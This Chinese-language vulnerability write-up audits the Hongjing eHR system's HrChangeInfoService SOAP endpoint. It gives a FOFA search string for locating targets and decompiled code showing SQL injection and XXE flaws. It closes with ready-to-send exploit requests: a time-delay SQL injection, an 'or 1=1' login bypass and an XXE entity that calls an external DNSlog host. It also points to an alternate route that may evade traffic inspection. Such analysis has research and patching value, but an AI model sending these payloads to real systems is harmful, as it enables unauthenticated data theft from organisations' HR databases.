漏洞简介
宏景人力资源管理系统(eHR)是一款由宏景软件研发的系统。宏景人力资源管理系统的 HrChangeInfoService 接口处存在SQL注入漏洞,未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令,从而窃取数据库敏感信息。
影响版本
fofa语法
app="HJSOFT-HCM"
漏洞分析
先看 WEB-INF/web.xml 里对于 /services/* 路由的处理由 servlet-name 为 XFireServlet来处理

同时这里可以看到路由 /servlet/XFireServlet/ 也是由 XFireServlet 来处理,二者均由 XFireServlet 来处理,那么就有两种方式来访问,对吧,利用这个差异可能绕过某些流量检测设备,对于 /services/* 路由下的一些漏洞利用。
前置知识关于 WEB-INF/classes/META-INF/xfire/services.xml 文件的作用:
是 XFire(一个 Java Web Service 框架)用来配置 Web Service 服务的核心配置文件。它的作用是:
- 定义和描述 Web Service 服务(如服务名、实现类、接口等)。
- 配置服务的发布、协议、端点等信息。
- 控制服务的相关参数(如拦截器、传输方式等)。
简单来说,这个文件用于告诉 XFire 框架有哪些服务、怎么暴露服务以及如何处理请求。
因此我们直接去 WEB-INF/classes/META-INF/xfire/services.xml 查找我们本次审计的主角 HrChangeInfoService 部分的定义:
<service xmlns="http://xfire.codehaus.org/config/1.0">
<name>HrChangeInfoService</name>
<namespace>http://www.hjsj.com/HrChangeInfoService</namespace>
<serviceClass>com.hjsj.hrms.service.core.HrChangeInfoService</serviceClass>
</service>
getChangeUsers
跟进 HrChangeInfoService 类,看第一个方法 getChangeUsers 的实现
public String getChangeUsers(String var1, String var2, String var3) {
if (var2 != null && var2.length() > 0 && var3 != null && var3.length() > 0) {
boolean var4 = this.cheakCode(var2, var3);
if (!var4) {
return this.returnMessLog("传入的校验用户名密码错误", 1, "");
} else {
String var5 = "";
Connection var6 = null;
String var8;
try {
var6 = AdminDb.getConnection();
ChangeInfoInterfaces var7 = new ChangeInfoInterfaces();
var5 = var7.getChangeUsersXML(var6, var1);
return var5;
} catch (Exception var18) {
var18.printStackTrace();
var8 = this.returnMessLog("获取人员信息错误", 1, "");
} finally {
try {
if (var6 != null) {
var6.close();
}
} catch (SQLException var17) {
}
}
return var8;
}
} else {
return this.returnMessLog("传入的校验用户名密码不能为空!", 1, "");
}
}
三个变量 var1、var2、var3,其中后两个进入 cheakCode 方法
private boolean cheakCode(String var1, String var2) {
boolean var3 = false;
Connection var4 = null;
RowSet var5 = null;
try {
var4 = AdminDb.getConnection();
String var6 = "select 1 from operuser where username='" + var1 + "' and password='" + var2 + "'";
ContentDAO var7 = new ContentDAO(var4);
var5 = var7.search(var6);
if (var5.next()) {
var3 = true;
}
可以看到 var2、var3 ==> var1、var2 被直接拼接进sql语句中执行,无任何过滤和校验处理,造成SQL注入漏。
而 var1 会带入 ChangeInfoInterfaces 的 getChangeUsersXML 方法里
public String getChangeUsersXML(Connection var1, String var2) {
StringBuffer var3 = new StringBuffer();
var3.append("select * from " + this.emp_table + "");
if (var2 != null && var2.length() > 0) {
var3.append(" where flag='" + var2 + "'");
}
List var4 = ExecuteSQL.executeMyQuery(var3.toString());
if (var4 == null) {
return "";
} else {
var3.setLength(0);
var3.append("select * from " + this.emp_table + " where 1=2");
ArrayList var5 = this.getColumns(var1, var3.toString());
String var6 = this.constructorXml(var5, var4);
return var6;
}
}
同样被拼接进 var3.append(" where flag='" + var2 + "'"); sql语句中,直接执行造成SQL注入漏洞。
其他几个同样存在类似的sql注入漏洞:
getWhereChangeUsers

returnSynchroXml
SQLi

XXE
其中 returnSynchroUserXml 方法还存在XXE漏洞
public boolean returnSynchroUserXml(Connection var1, String var2) {
boolean var3 = true;
if (var2 != null && var2.length() > 0) {
String var4 = "/hr/element";
SAXBuilder var6 = new SAXBuilder();
String var7 = "";
String var8 = "";
StringReader var9 = new StringReader(var2.toString());
new ArrayList();
StringBuffer var11 = new StringBuffer();
try {
this.doc = var6.build(var9);
使用 SAXBuilder 解析未经验证/过滤的用户输入 (var2) 时,未禁用外部实体解析。攻击者可通过恶意XML触发外部实体注入。
returnSynchroArray

returnSynchroString


漏洞复现
getChangeUsers
POST /servlet/XFireServlet/HrChangeInfoService HTTP/1.1
Host: hjsoft.mrxn.net
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrc="http://www.hjsj.com/HrChangeInfoService">
<soapenv:Header/>
<soapenv:Body>
<hrc:getChangeUsers>
<hrc:changeFlag>-1'waitfor delay '0:0:5'-- </hrc:changeFlag>
<hrc:username>1</hrc:username>
<hrc:password>1'or '1'='1</hrc:password>
</hrc:getChangeUsers>
</soapenv:Body>
</soapenv:Envelope>

成功延时 5 秒


两种路由都是可以的噢!
returnSynchroXml XXE
POST /services/HrChangeInfoService HTTP/1.1
Host: hjsoft.mrxn.net
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrc="http://www.hjsj.com/HrChangeInfoService">
<soapenv:Header/>
<soapenv:Body>
<hrc:returnSynchroXml>
<hrc:strString><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://test.dnslog.pt/xxe_test"> ]><foo>&xxe;</foo></hrc:strString>
<hrc:username>1</hrc:username>
<hrc:password>1'or '1'='1</hrc:password>
</hrc:returnSynchroXml>
</soapenv:Body>
</soapenv:Envelope>
在DNSLOG平台成功收到DNS请求和HTTP请求



